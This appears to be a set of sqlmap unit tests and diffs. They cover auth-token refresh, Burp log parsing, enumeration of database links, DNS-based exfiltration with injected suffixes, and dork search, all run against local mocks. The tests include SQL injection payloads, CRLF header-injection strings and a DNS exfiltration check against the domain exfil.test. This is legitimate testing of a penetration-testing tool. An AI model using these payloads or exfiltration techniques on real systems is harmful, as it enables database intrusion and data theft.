Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Authentication refresh hook loading and replay against a local HTTP server.
|
||||
"""
|
||||
|
||||
import json
|
||||
import os
|
||||
import re
|
||||
import shutil
|
||||
import socket
|
||||
import subprocess
|
||||
import sys
|
||||
import tempfile
|
||||
import threading
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb, paths, cmdLineOptions
|
||||
from lib.core.enums import MKSTEMP_PREFIX, REDIRECTION
|
||||
from lib.core.exception import SqlmapConnectionException, SqlmapFilePathException, SqlmapSyntaxException
|
||||
from lib.core.option import _setAuthRefreshFunction, _setKnowledgeBaseAttributes
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.request import authrefresh
|
||||
from lib.request.connect import Connect
|
||||
from lib.request.redirecthandler import SmartRedirectHandler
|
||||
from thirdparty.six.moves import BaseHTTPServer, socketserver
|
||||
from thirdparty.six.moves import urllib as _urllib
|
||||
|
||||
_GET_PAGE = Connect.__dict__['getPage']
|
||||
_QUERY_PAGE = Connect.__dict__['queryPage']
|
||||
|
||||
|
||||
def _assertTemplate(testCase, exception):
|
||||
match = re.search(r"template script at '([^']+)'", str(exception))
|
||||
testCase.assertIsNotNone(match)
|
||||
path = match.group(1)
|
||||
try:
|
||||
testCase.assertTrue(os.path.basename(path).startswith(MKSTEMP_PREFIX.AUTH_REFRESH))
|
||||
testCase.assertTrue(os.path.isfile(os.path.join(os.path.dirname(path), '__init__.py')))
|
||||
with open(path) as stream:
|
||||
source = stream.read()
|
||||
namespace = {}
|
||||
eval(compile(source, path, 'exec'), namespace)
|
||||
testCase.assertEqual(namespace['refresh'](), {'Authorization': 'Bearer <fresh token>'})
|
||||
testCase.assertNotIn(paths.SQLMAP_EXTRAS_PATH, path)
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
|
||||
class _Server(socketserver.ThreadingMixIn, BaseHTTPServer.HTTPServer):
|
||||
daemon_threads = True
|
||||
|
||||
|
||||
class _Handler(BaseHTTPServer.BaseHTTPRequestHandler):
|
||||
def log_message(self, *args):
|
||||
pass
|
||||
|
||||
def do_GET(self):
|
||||
self.do_POST()
|
||||
|
||||
def do_POST(self):
|
||||
body = self.rfile.read(int(self.headers.get('Content-Length', '0')))
|
||||
token = self.headers.get('X-Auth-Token')
|
||||
if self.path == '/refresh':
|
||||
self.server.refreshes += 1
|
||||
code, body = 200, b'{"token":"fresh"}'
|
||||
else:
|
||||
with self.server.lock:
|
||||
self.server.requests.append((self.path, body, token))
|
||||
if token != self.server.token:
|
||||
self.server.expired += 1
|
||||
if self.server.expired >= 2:
|
||||
self.server.bothExpired.set()
|
||||
if token != self.server.token and self.server.syncExpired:
|
||||
self.server.bothExpired.wait(3)
|
||||
code = 200 if token == self.server.token else 401
|
||||
body = b'ok' if code == 200 else b'expired'
|
||||
self.send_response(302 if self.path == '/redirect' and code == 200 else code)
|
||||
if self.path == '/redirect' and code == 200:
|
||||
self.send_header('Location', self.server.redirect)
|
||||
self.send_header('Content-Type', 'text/plain; charset=utf-8')
|
||||
self.send_header('Content-Length', str(len(body)))
|
||||
self.end_headers()
|
||||
self.wfile.write(body)
|
||||
|
||||
|
||||
class TestAuthRefresh(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.conf = dict(conf)
|
||||
self.cmdLineOptions = dict(cmdLineOptions)
|
||||
cmdLineOptions.method = None
|
||||
self.kb = dict(kb)
|
||||
self.threadData = dict(getCurrentThreadData().__dict__)
|
||||
getCurrentThreadData().__dict__.clear()
|
||||
getCurrentThreadData().reset()
|
||||
self.timeout = socket.getdefaulttimeout()
|
||||
self.urlopen = _urllib.request.urlopen
|
||||
# Other engine tests replace these descriptors; use the real methods even when an
|
||||
# earlier Python 2 fixture restored a bare function instead of a staticmethod.
|
||||
self.methods = Connect.__dict__['getPage'], Connect.__dict__['queryPage']
|
||||
Connect.getPage, Connect.queryPage = _GET_PAGE, _QUERY_PAGE
|
||||
_setKnowledgeBaseAttributes(False)
|
||||
kb.wizardMode = True
|
||||
self.server = _Server(('127.0.0.1', 0), _Handler)
|
||||
self.server.requests = []
|
||||
self.server.refreshes = 0
|
||||
self.server.token = 'fresh'
|
||||
self.server.expired = 0
|
||||
self.server.syncExpired = False
|
||||
self.server.bothExpired = threading.Event()
|
||||
self.server.lock = threading.Lock()
|
||||
self.thread = threading.Thread(target=self.server.serve_forever)
|
||||
self.thread.daemon = True
|
||||
self.thread.start()
|
||||
conf.url = 'http://127.0.0.1:%d/test' % self.server.server_port
|
||||
conf.hostname, conf.scheme, conf.port = '127.0.0.1', 'http', self.server.server_port
|
||||
conf.path = '/test'
|
||||
conf.httpHeaders = [('X-Auth-Token', 'expired')]
|
||||
conf.parameters = {}
|
||||
conf.data = None
|
||||
conf.abortCode = []
|
||||
conf.ignoreCode = []
|
||||
conf.authRefresh = 'test_refresh.py'
|
||||
conf.batch = True
|
||||
conf.keepAlive = False
|
||||
conf.retryOn = None
|
||||
conf.timeout = 5
|
||||
conf.ignoreRedirects = False
|
||||
conf.scope = None
|
||||
kb.choices.redirect = REDIRECTION.YES
|
||||
_urllib.request.urlopen = _urllib.request.build_opener(_urllib.request.ProxyHandler({}), SmartRedirectHandler()).open
|
||||
|
||||
def refresh():
|
||||
# A real, application-specific token exchange outside sqlmap's request engine.
|
||||
response = _urllib.request.urlopen(conf.url.replace('/test', '/refresh'), timeout=3)
|
||||
try:
|
||||
return {'X-Auth-Token': json.loads(response.read().decode('ascii'))['token']}
|
||||
finally:
|
||||
response.close()
|
||||
|
||||
kb.authRefreshFunction = refresh
|
||||
|
||||
def tearDown(self):
|
||||
self.server.shutdown()
|
||||
self.server.server_close()
|
||||
self.thread.join(5)
|
||||
_urllib.request.urlopen = self.urlopen
|
||||
Connect.getPage, Connect.queryPage = self.methods
|
||||
socket.setdefaulttimeout(self.timeout)
|
||||
conf.clear()
|
||||
conf.update(self.conf)
|
||||
cmdLineOptions.clear()
|
||||
cmdLineOptions.update(self.cmdLineOptions)
|
||||
kb.clear()
|
||||
kb.update(self.kb)
|
||||
getCurrentThreadData().__dict__.clear()
|
||||
getCurrentThreadData().__dict__.update(self.threadData)
|
||||
|
||||
def test_expiry_mid_scan_preserves_payload_and_reuses_headers(self):
|
||||
self.server.token = 'expired'
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
self.server.token = 'fresh'
|
||||
payload = b'id=1%20AND%201%3D1&other=keep'
|
||||
self.assertEqual(Connect.getPage(get='marker=123', post=payload)[2], 200)
|
||||
self.assertEqual(self.server.requests[-2:], [('/test?marker=123', payload, 'expired'), ('/test?marker=123', payload, 'fresh')])
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
self.assertEqual(getCurrentThreadData().lastCode, 200)
|
||||
self.assertEqual(getCurrentThreadData().lastPage, 'ok')
|
||||
self.assertNotEqual(kb.originalCode, 401)
|
||||
|
||||
def test_second_401_stops_after_one_replay(self):
|
||||
kb.authRefreshFunction = lambda: {'X-Auth-Token': 'still-expired'}
|
||||
with self.assertRaises(SqlmapConnectionException):
|
||||
Connect.getPage()
|
||||
self.assertEqual(len(self.server.requests), 2)
|
||||
self.assertTrue(kb.authRefreshFailed)
|
||||
|
||||
def test_abort_code_takes_precedence(self):
|
||||
conf.abortCode = [401]
|
||||
with self.assertRaises(SystemExit):
|
||||
Connect.getPage()
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
self.assertEqual(len(self.server.requests), 1)
|
||||
|
||||
def test_without_option_preserves_401_behavior(self):
|
||||
conf.authRefresh = None
|
||||
with self.assertRaises(SqlmapConnectionException):
|
||||
Connect.getPage()
|
||||
self.assertEqual(self.server.refreshes, 0)
|
||||
|
||||
def test_concurrent_401s_share_one_refresh(self):
|
||||
self.server.syncExpired = True
|
||||
results, errors = [], []
|
||||
|
||||
def worker():
|
||||
try:
|
||||
results.append(Connect.getPage()[2])
|
||||
except Exception as ex:
|
||||
errors.append(ex)
|
||||
|
||||
workers = [threading.Thread(target=worker) for _ in range(2)]
|
||||
for workerThread in workers:
|
||||
workerThread.start()
|
||||
for workerThread in workers:
|
||||
workerThread.join(10)
|
||||
self.assertFalse(workerThread.is_alive())
|
||||
self.assertEqual(errors, [])
|
||||
self.assertEqual(results, [200, 200])
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
self.assertEqual(self.server.expired, 2)
|
||||
|
||||
def test_invalid_hook_results_are_rejected_without_leaking_secrets(self):
|
||||
for result in (None, {}, 'secret-token', {'X-Token': 'secret\r\nInjected: value'}, {'Host': 'elsewhere'}, {'X-Token': 42}, {'X-Token': 'secret', 'x-token': 'other'}):
|
||||
kb.authRefreshFailed = False
|
||||
kb.authRefreshFunction = lambda: result
|
||||
with self.assertRaises(SqlmapConnectionException) as caught:
|
||||
authrefresh.refresh(0)
|
||||
self.assertNotIn('secret', str(caught.exception))
|
||||
_assertTemplate(self, caught.exception)
|
||||
self.assertEqual(kb.authRefreshVersion, 0)
|
||||
|
||||
def test_hook_exception_is_sanitized(self):
|
||||
def refresh():
|
||||
raise ValueError('password=secret')
|
||||
kb.authRefreshFunction = refresh
|
||||
with self.assertRaises(SqlmapConnectionException) as caught:
|
||||
Connect.getPage()
|
||||
self.assertNotIn('secret', str(caught.exception))
|
||||
_assertTemplate(self, caught.exception)
|
||||
self.assertEqual(len(self.server.requests), 1)
|
||||
|
||||
def test_credentials_are_scoped_to_scheme_host_and_port(self):
|
||||
authrefresh.refresh(0)
|
||||
for url in ('http://elsewhere/test', 'https://127.0.0.1/test', 'http://127.0.0.1:1/test'):
|
||||
req = _urllib.request.Request(url)
|
||||
self.assertIsNone(authrefresh.apply(req))
|
||||
self.assertEqual(req.headers, {})
|
||||
self.assertTrue(authrefresh.sameOrigin('https://example.com', 'https://example.com:443/path'))
|
||||
|
||||
def test_refresh_overrides_stale_preprocess_headers(self):
|
||||
kb.preprocessFunctions = [lambda req: req.add_header('X-Auth-Token', 'expired')]
|
||||
self.assertEqual(Connect.getPage()[2], 200)
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
|
||||
def test_redirect_to_another_port_does_not_receive_refreshed_token(self):
|
||||
authrefresh.refresh(0)
|
||||
other = _Server(('127.0.0.1', 0), _Handler)
|
||||
other.requests, other.token, other.expired = [], None, 0
|
||||
other.lock = threading.Lock()
|
||||
other.syncExpired = False
|
||||
thread = threading.Thread(target=other.serve_forever)
|
||||
thread.daemon = True
|
||||
thread.start()
|
||||
try:
|
||||
self.server.redirect = 'http://127.0.0.1:%d/landing' % other.server_port
|
||||
Connect.getPage(url=conf.url.replace('/test', '/redirect'))
|
||||
self.assertEqual(other.requests, [('/landing', b'', None)])
|
||||
self.assertEqual(self.server.refreshes, 1)
|
||||
finally:
|
||||
other.shutdown()
|
||||
other.server_close()
|
||||
thread.join(5)
|
||||
|
||||
def test_auth_refresh_latency_is_excluded_from_query_timing(self):
|
||||
import lib.request.connect as connect
|
||||
originalPage, originalDelta = Connect.getPage, connect.calculateDeltaSeconds
|
||||
|
||||
def getPage(**kwargs):
|
||||
getCurrentThreadData().authRefreshTime += 12
|
||||
return 'ok', None, 200
|
||||
|
||||
Connect.getPage = staticmethod(getPage)
|
||||
connect.calculateDeltaSeconds = lambda start: 15
|
||||
try:
|
||||
Connect.queryPage(content=True)
|
||||
self.assertEqual(getCurrentThreadData().lastQueryDuration, 3)
|
||||
finally:
|
||||
Connect.getPage = staticmethod(originalPage)
|
||||
connect.calculateDeltaSeconds = originalDelta
|
||||
|
||||
|
||||
class TestAuthRefreshLoader(unittest.TestCase):
|
||||
def setUp(self):
|
||||
self.directory = tempfile.mkdtemp(prefix='sqlmap-authrefresh-')
|
||||
self.oldOption = conf.authRefresh
|
||||
self.oldFunction = kb.authRefreshFunction
|
||||
self.oldPath = list(sys.path)
|
||||
|
||||
def tearDown(self):
|
||||
conf.authRefresh = self.oldOption
|
||||
kb.authRefreshFunction = self.oldFunction
|
||||
sys.path[:] = self.oldPath
|
||||
for name in list(sys.modules):
|
||||
if name.startswith('authrefresh_test_'):
|
||||
del sys.modules[name]
|
||||
shutil.rmtree(self.directory)
|
||||
|
||||
def script(self, name, content):
|
||||
path = os.path.join(self.directory, 'authrefresh_test_%s.py' % name)
|
||||
with open(path, 'w') as stream:
|
||||
stream.write(content)
|
||||
conf.authRefresh = path
|
||||
|
||||
def test_load_does_not_call_refresh(self):
|
||||
self.script('valid', "def refresh():\n raise AssertionError('must only run on 401')\n")
|
||||
_setAuthRefreshFunction()
|
||||
self.assertTrue(callable(kb.authRefreshFunction))
|
||||
|
||||
def test_missing_invalid_and_empty_scripts_point_to_template(self):
|
||||
for name, source in (('empty', ''), ('wrong', 'def other():\n pass\n'), ('args', 'def refresh(req):\n pass\n'), ('syntax', 'def refresh(:')):
|
||||
self.script(name, source)
|
||||
with self.assertRaises(SqlmapSyntaxException) as caught:
|
||||
_setAuthRefreshFunction()
|
||||
_assertTemplate(self, caught.exception)
|
||||
conf.authRefresh = os.path.join(self.directory, 'missing.py')
|
||||
with self.assertRaises(SqlmapFilePathException) as caught:
|
||||
_setAuthRefreshFunction()
|
||||
_assertTemplate(self, caught.exception)
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(paths.SQLMAP_ROOT_PATH, 'sqlmap.py'), '-hh'])
|
||||
lines = output.decode('utf-8').splitlines()
|
||||
matches = [i for i, line in enumerate(lines) if '--auth-refresh' in line]
|
||||
self.assertEqual(len(matches), 1)
|
||||
self.assertIn('HTTP 401', lines[matches[0]])
|
||||
self.assertLessEqual(len(lines[matches[0]]), 78)
|
||||
for option in ('--preprocess', '--postprocess'):
|
||||
self.assertLess(matches[0], next(i for i, line in enumerate(lines) if option in line))
|
||||
|
||||
|
||||
if __name__ == '__main__':
|
||||
unittest.main()
|
||||
@@ -524,6 +524,19 @@ class TestParseRequestFileBurp(unittest.TestCase):
|
||||
self.assertEqual(method, HTTPMETHOD.GET)
|
||||
self.assertEqual(cookie, "SID=xyz")
|
||||
|
||||
def test_burp_xml_history_protocol(self):
|
||||
# Note: item's <protocol> decides the scheme (the port alone can't tell e.g. HTTPS on 8443 or HTTP on 443)
|
||||
req = base64.b64encode(b"GET /vuln.php?id=1 HTTP/1.1\r\nHost: www.target.com\r\n\r\n").decode()
|
||||
items = "".join('<item><port>%s</port>\n<protocol>%s</protocol><request base64="true"><![CDATA[%s]]></request></item>' % (port, protocol, req) for port, protocol in ((8443, "https"), (443, "http"), (443, "https"), (8080, "")))
|
||||
path = _write_temp("<items>%s</items>" % items, ".xml")
|
||||
try:
|
||||
targets = list(parseRequestFile(path))
|
||||
finally:
|
||||
os.unlink(path)
|
||||
|
||||
self.assertEqual([_[0] for _ in targets], ["https://www.target.com:8443/vuln.php?id=1", "http://www.target.com:443/vuln.php?id=1", "https://www.target.com:443/vuln.php?id=1", "http://www.target.com:8080/vuln.php?id=1"])
|
||||
self.assertTrue(all("://" not in value for _ in targets for key, value in _[4] if key == "Host"))
|
||||
|
||||
def test_post_body_captured(self):
|
||||
content = (
|
||||
"======================================================\n"
|
||||
|
||||
@@ -113,14 +113,23 @@ class TestConfigFileRoundTrip(unittest.TestCase):
|
||||
try:
|
||||
conf.url = "http://127.0.0.1:1/?id=1"
|
||||
conf.commonTables = True
|
||||
conf.getLinks = True
|
||||
conf.getAudit = True
|
||||
conf.authRefresh = "refresh_auth.py"
|
||||
conf.tablePrefix = "zzz"
|
||||
saveConfig(conf, path)
|
||||
|
||||
conf.url, conf.commonTables, conf.tablePrefix = None, False, "overwritten"
|
||||
conf.getLinks = False
|
||||
conf.getAudit = False
|
||||
conf.authRefresh = None
|
||||
configFileParser(path)
|
||||
|
||||
self.assertEqual(conf.url, "http://127.0.0.1:1/?id=1")
|
||||
self.assertTrue(conf.commonTables)
|
||||
self.assertTrue(conf.getLinks)
|
||||
self.assertTrue(conf.getAudit)
|
||||
self.assertEqual(conf.authRefresh, "refresh_auth.py")
|
||||
self.assertEqual(conf.tablePrefix, "zzz")
|
||||
finally:
|
||||
conf.clear()
|
||||
|
||||
@@ -17,6 +17,8 @@ the suite.
|
||||
"""
|
||||
|
||||
import os
|
||||
import sqlite3
|
||||
import subprocess
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
@@ -25,7 +27,7 @@ from _testutils import bootstrap, set_dbms, reset_dbms
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.enums import EXPECTED, PAYLOAD
|
||||
import plugins.generic.databases as dbmod
|
||||
from plugins.generic.databases import Databases
|
||||
@@ -284,6 +286,28 @@ class TestGetTables(_BaseEnumTest):
|
||||
self.assertIn("testdb", result)
|
||||
self.assertEqual(sorted(result["testdb"]), sorted(tables))
|
||||
|
||||
def test_get_tables_inference_spanner(self):
|
||||
# Spanner's blind template must page per row (it used to crash with "not all arguments converted", #6151)
|
||||
set_dbms("Spanner")
|
||||
self._enable_inference()
|
||||
d = self._fresh()
|
||||
conf.db = "testdb"
|
||||
conf.tbl = None
|
||||
|
||||
tables = ["t_a", "t_b"]
|
||||
queries_ = []
|
||||
|
||||
def gv(query, *a, **k):
|
||||
if k.get("expected") == EXPECTED.INT:
|
||||
return str(len(tables))
|
||||
queries_.append(query)
|
||||
return [tables[len(queries_) - 1]]
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
result = d.getTables()
|
||||
self.assertEqual(sorted(result["testdb"]), sorted(tables))
|
||||
self.assertEqual([_.endswith("OFFSET %d" % i) for i, _ in enumerate(queries_)], [True, True])
|
||||
|
||||
|
||||
class TestGetColumns(_BaseEnumTest):
|
||||
def _run_direct(self, dbms, db, tbl, rows):
|
||||
@@ -500,6 +524,110 @@ class TestGetSchema(_BaseEnumTest):
|
||||
self.assertEqual(result["testdb"]["users"].get("id"), "int")
|
||||
|
||||
|
||||
class TestGetLinks(_BaseEnumTest):
|
||||
def setUp(self):
|
||||
_BaseEnumTest.setUp(self)
|
||||
self._saved_links = kb.data.get("cachedLinks")
|
||||
|
||||
def tearDown(self):
|
||||
kb.data.cachedLinks = self._saved_links
|
||||
_BaseEnumTest.tearDown(self)
|
||||
|
||||
def test_unsupported_dbms_does_not_query(self):
|
||||
d = self._fresh()
|
||||
dbmod.inject.getValue = lambda *a, **k: self.fail("unsupported DBMS must not query links")
|
||||
saved = dbmod.logger.warning
|
||||
warnings = []
|
||||
try:
|
||||
dbmod.logger.warning = warnings.append
|
||||
for dbms in queries:
|
||||
if "links" not in queries[dbms]:
|
||||
set_dbms(dbms)
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
self.assertIn(dbms, warnings[-1])
|
||||
finally:
|
||||
dbmod.logger.warning = saved
|
||||
|
||||
def test_direct_links_and_cache(self):
|
||||
conf.direct = True
|
||||
for dbms in ("Microsoft SQL Server", "Oracle"):
|
||||
set_dbms(dbms)
|
||||
d = self._fresh()
|
||||
calls = []
|
||||
|
||||
def gv(query, **kwargs):
|
||||
calls.append(query)
|
||||
return [["remote -> db.example"], ["other -> <unknown>"]]
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
expected = ["remote -> db.example", "other -> <unknown>"]
|
||||
self.assertEqual(d.getLinks(), expected)
|
||||
self.assertEqual(d.getLinks(), expected)
|
||||
self.assertEqual(calls, [queries[dbms].links.inband.query])
|
||||
|
||||
def test_blind_links_use_zero_based_paging(self):
|
||||
self._enable_inference()
|
||||
for dbms in ("Microsoft SQL Server", "Oracle"):
|
||||
set_dbms(dbms)
|
||||
d = self._fresh()
|
||||
calls = []
|
||||
values = iter(["2", ["first -> host1"], ["second -> host2"]])
|
||||
|
||||
def gv(query, **kwargs):
|
||||
calls.append(query)
|
||||
return next(values)
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
self.assertEqual(d.getLinks(), ["first -> host1", "second -> host2"])
|
||||
root = queries[dbms].links
|
||||
self.assertEqual(calls, [root.blind.count, root.blind.query % 0, root.blind.query % 1])
|
||||
|
||||
def test_empty_direct_results(self):
|
||||
set_dbms("Microsoft SQL Server")
|
||||
conf.direct = True
|
||||
d = self._fresh()
|
||||
dbmod.inject.getValue = lambda *a, **k: None
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
|
||||
def test_oracle_query_paging_and_null_destination(self):
|
||||
# Evaluate the catalog/paging SQL with compatible SQLite expressions; live Oracle is
|
||||
# not required for this check of owner-qualified names, NULL handling and row offsets.
|
||||
conn = sqlite3.connect(":memory:")
|
||||
try:
|
||||
conn.create_function("NVL", 2, lambda value, default: default if value is None else value)
|
||||
conn.execute("CREATE TABLE ALL_DB_LINKS (OWNER TEXT, DB_LINK TEXT, HOST TEXT)")
|
||||
conn.executemany("INSERT INTO ALL_DB_LINKS VALUES (?,?,?)", [("PUBLIC", "REMOTE", "db.example"), ("APP", "REMOTE", None)])
|
||||
root = queries["Oracle"].links
|
||||
expected = ["APP.REMOTE -> <unknown>", "PUBLIC.REMOTE -> db.example"]
|
||||
self.assertEqual([row[0] for row in conn.execute(root.inband.query)], expected)
|
||||
self.assertEqual(conn.execute(root.blind.count).fetchone()[0], 2)
|
||||
self.assertEqual([conn.execute(root.blind.query % i).fetchone()[0] for i in range(2)], expected)
|
||||
self.assertIsNone(conn.execute(root.blind.query % 2).fetchone())
|
||||
finally:
|
||||
conn.close()
|
||||
|
||||
def test_empty_or_unavailable_blind_count_does_not_fetch_rows(self):
|
||||
set_dbms("Oracle")
|
||||
self._enable_inference()
|
||||
for count in (0, "0", None, "unavailable"):
|
||||
d = self._fresh()
|
||||
|
||||
def gv(query, **kwargs):
|
||||
self.assertEqual(kwargs.get("expected"), EXPECTED.INT)
|
||||
return count
|
||||
|
||||
dbmod.inject.getValue = gv
|
||||
self.assertEqual(d.getLinks(), [])
|
||||
|
||||
def test_help_is_one_line(self):
|
||||
output = subprocess.check_output([sys.executable, os.path.join(os.path.dirname(__file__), "..", "sqlmap.py"), "-hh"])
|
||||
lines = output.decode("utf-8").splitlines()
|
||||
helpLines = [line for line in lines if "--links" in line]
|
||||
self.assertEqual(len(helpLines), 1)
|
||||
self.assertIn("Enumerate DBMS links", helpLines[0])
|
||||
self.assertLessEqual(len(helpLines[0]), 78)
|
||||
|
||||
|
||||
class TestGetProcedures(_BaseEnumTest):
|
||||
def test_procedures_direct_pgsql(self):
|
||||
set_dbms("PostgreSQL")
|
||||
|
||||
@@ -43,9 +43,13 @@ bootstrap()
|
||||
|
||||
from lib.core.agent import agent
|
||||
from lib.core.common import Backend
|
||||
from lib.core.data import conf, kb
|
||||
from lib.core.data import conf, kb, queries
|
||||
from lib.core.datatype import AttribDict
|
||||
from lib.core.datatype import InjectionDict
|
||||
from lib.core.threads import getCurrentThreadData
|
||||
from lib.core.enums import DBMS
|
||||
from lib.core.enums import PAYLOAD
|
||||
from lib.core.enums import PLACE
|
||||
from lib.core.exception import SqlmapNotVulnerableException
|
||||
from lib.core.settings import DNS_BOUNDARIES_ALPHABET
|
||||
from lib.core.settings import MAX_DNS_LABEL
|
||||
@@ -80,7 +84,8 @@ class _HighPortDNSServer(DNSServer):
|
||||
except socket.error:
|
||||
pass
|
||||
|
||||
_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False}
|
||||
_CONF = {"dnsDomain": "exfil.test", "hexConvert": False, "api": False, "verbose": 0, "forceDns": False,
|
||||
"suffix": None, "direct": False}
|
||||
_KB = {"dnsTest": True, "dnsMode": False, "bruteMode": False, "safeCharEncode": False}
|
||||
|
||||
|
||||
@@ -252,6 +257,73 @@ class TestDnsExfilEngineMssql(TestDnsExfilEngine):
|
||||
DBMS_NAME = "Microsoft SQL Server"
|
||||
|
||||
|
||||
class TestDnsStackedSuffix(_DnsCase):
|
||||
def setUp(self):
|
||||
_DnsCase.setUp(self)
|
||||
restore_attrs(self._s_agent)
|
||||
self._saved_target = {k: conf.get(k) for k in ("parameters", "paramDict", "prefix")}
|
||||
self._saved_injection = {k: kb.get(k) for k in ("injection", "technique", "forceWhere")}
|
||||
conf.parameters = {PLACE.GET: "id=1"}
|
||||
conf.paramDict = {PLACE.GET: {"id": "1"}}
|
||||
conf.prefix = " /* custom prefix */"
|
||||
kb.technique = PAYLOAD.TECHNIQUE.BOOLEAN
|
||||
kb.forceWhere = None
|
||||
kb.injection = InjectionDict()
|
||||
kb.injection.place = PLACE.GET
|
||||
kb.injection.parameter = "id"
|
||||
kb.injection.prefix = conf.prefix
|
||||
kb.injection.suffix = "; SELECT 999-- inferred suffix"
|
||||
kb.injection.clause = [1]
|
||||
kb.injection.data[PAYLOAD.TECHNIQUE.BOOLEAN] = AttribDict({"where": PAYLOAD.WHERE.ORIGINAL, "comment": "-- inferred comment"})
|
||||
|
||||
def tearDown(self):
|
||||
for k, v in self._saved_target.items():
|
||||
conf[k] = v
|
||||
for k, v in self._saved_injection.items():
|
||||
kb[k] = v
|
||||
_DnsCase.tearDown(self)
|
||||
|
||||
def _extract_with_suffix(self, suffix):
|
||||
secret = "The quick brown fox jumps over the lazy dog 0123456789"
|
||||
conf.suffix = suffix
|
||||
|
||||
for dbms in (DBMS.MSSQL, DBMS.PGSQL):
|
||||
set_dbms(dbms)
|
||||
self._install_oracle(secret)
|
||||
oracle = Connect.queryPage
|
||||
payloads = []
|
||||
|
||||
def require_suffix(payload, **kwargs):
|
||||
sql = agent.removePayloadDelimiters(payload)
|
||||
payloads.append(sql)
|
||||
# Model an endpoint that accepts the DNS payload only with its required ending.
|
||||
if suffix and not sql.endswith(suffix):
|
||||
return None
|
||||
return oracle(payload, **kwargs)
|
||||
|
||||
Connect.queryPage = staticmethod(require_suffix)
|
||||
self.assertEqual(dnsmod.dnsUse("unused", "SELECT secret"), secret, dbms)
|
||||
self.assertGreater(len(payloads), 1, dbms)
|
||||
for payload in payloads:
|
||||
self.assertTrue(payload.startswith("id=1%s; " % conf.prefix), dbms)
|
||||
self.assertNotIn("-- inferred", payload)
|
||||
if suffix is None:
|
||||
self.assertTrue(payload.endswith(queries[dbms].comment.query), dbms)
|
||||
elif suffix:
|
||||
self.assertTrue(payload.endswith(suffix), dbms)
|
||||
else:
|
||||
self.assertFalse(payload.endswith(queries[dbms].comment.query), dbms)
|
||||
|
||||
def test_explicit_suffix_survives_every_chunk(self):
|
||||
self._extract_with_suffix("; SELECT 4973-- required suffix")
|
||||
|
||||
def test_default_comment_without_explicit_suffix(self):
|
||||
self._extract_with_suffix(None)
|
||||
|
||||
def test_explicit_empty_suffix_does_not_add_comment(self):
|
||||
self._extract_with_suffix("")
|
||||
|
||||
|
||||
class TestDnsLabelInvariant(_DnsCase):
|
||||
"""The exfil chunk is hex-encoded into ONE DNS label, so the label dnsUse emits must never
|
||||
exceed the 63-octet DNS label limit - otherwise the query carries an invalid (over-long) label
|
||||
|
||||
@@ -0,0 +1,86 @@
|
||||
#!/usr/bin/env python
|
||||
|
||||
"""
|
||||
Copyright (c) 2006-2026 sqlmap developers (https://sqlmap.org)
|
||||
See the file 'LICENSE' for copying permission
|
||||
|
||||
Unit tests for lib/utils/search.py (dork search), exercising the engine loop by
|
||||
MOCKING the network layer (_fetch).
|
||||
|
||||
No network is involved: _fetch is patched to return canned search engine result
|
||||
pages, so we can assert both on the links extracted per engine and on the
|
||||
abuse/captcha detection that triggers proxy rotation (SEARCH_ABUSE_MARKERS).
|
||||
"""
|
||||
|
||||
import os
|
||||
import sys
|
||||
import unittest
|
||||
|
||||
sys.path.insert(0, os.path.dirname(os.path.abspath(__file__)))
|
||||
from _testutils import bootstrap
|
||||
|
||||
bootstrap()
|
||||
|
||||
from lib.core.data import conf
|
||||
from lib.core.exception import SqlmapBaseException
|
||||
from lib.core.settings import SEARCH_ABUSE_MARKERS
|
||||
import lib.utils.search as smod
|
||||
|
||||
BING_PAGE = '<h2><a target="_blank" href="https://www.bing.com/ck/a?!&&p=1&u=a1aHR0cHM6Ly93d3cuZXhhbXBsZS5jb20vYS5waHA_aWQ9MQ&ntb=1">a</a></h2>'
|
||||
DUCKDUCKGO_PAGE = '<a class="result__url" href="https://www.example.com/b.php?id=2">b</a>'
|
||||
|
||||
class TestDorkSearch(unittest.TestCase):
|
||||
def setUp(self):
|
||||
conf.googlePage = 1
|
||||
conf.proxyList = None
|
||||
self._fetch = smod._fetch
|
||||
|
||||
def tearDown(self):
|
||||
smod._fetch = self._fetch
|
||||
|
||||
def _pages(self, *pages):
|
||||
"""Patches _fetch to serve `pages` in engine order (None meaning no reply)"""
|
||||
|
||||
served = list(pages)
|
||||
self.requested = []
|
||||
|
||||
def fetch(url, headers, data=None):
|
||||
self.requested.append((url, data))
|
||||
return served.pop(0) if served else None
|
||||
|
||||
smod._fetch = fetch
|
||||
|
||||
def test_duckduckgo_results(self):
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/b.php?id=2"])
|
||||
|
||||
def test_bing_fallback_decodes_redirect(self):
|
||||
self._pages(None, BING_PAGE)
|
||||
self.assertEqual(smod._search("dork"), ["https://www.example.com/a.php?id=1"])
|
||||
|
||||
def test_duckduckgo_paging_offset(self):
|
||||
# Note: first result page holds 10 entries, each subsequent one 15 (and not the uniform 30 as previously used)
|
||||
for gpage, offset in ((1, 0), (2, 10), (3, 25), (4, 40)):
|
||||
conf.googlePage = gpage
|
||||
self._pages(DUCKDUCKGO_PAGE)
|
||||
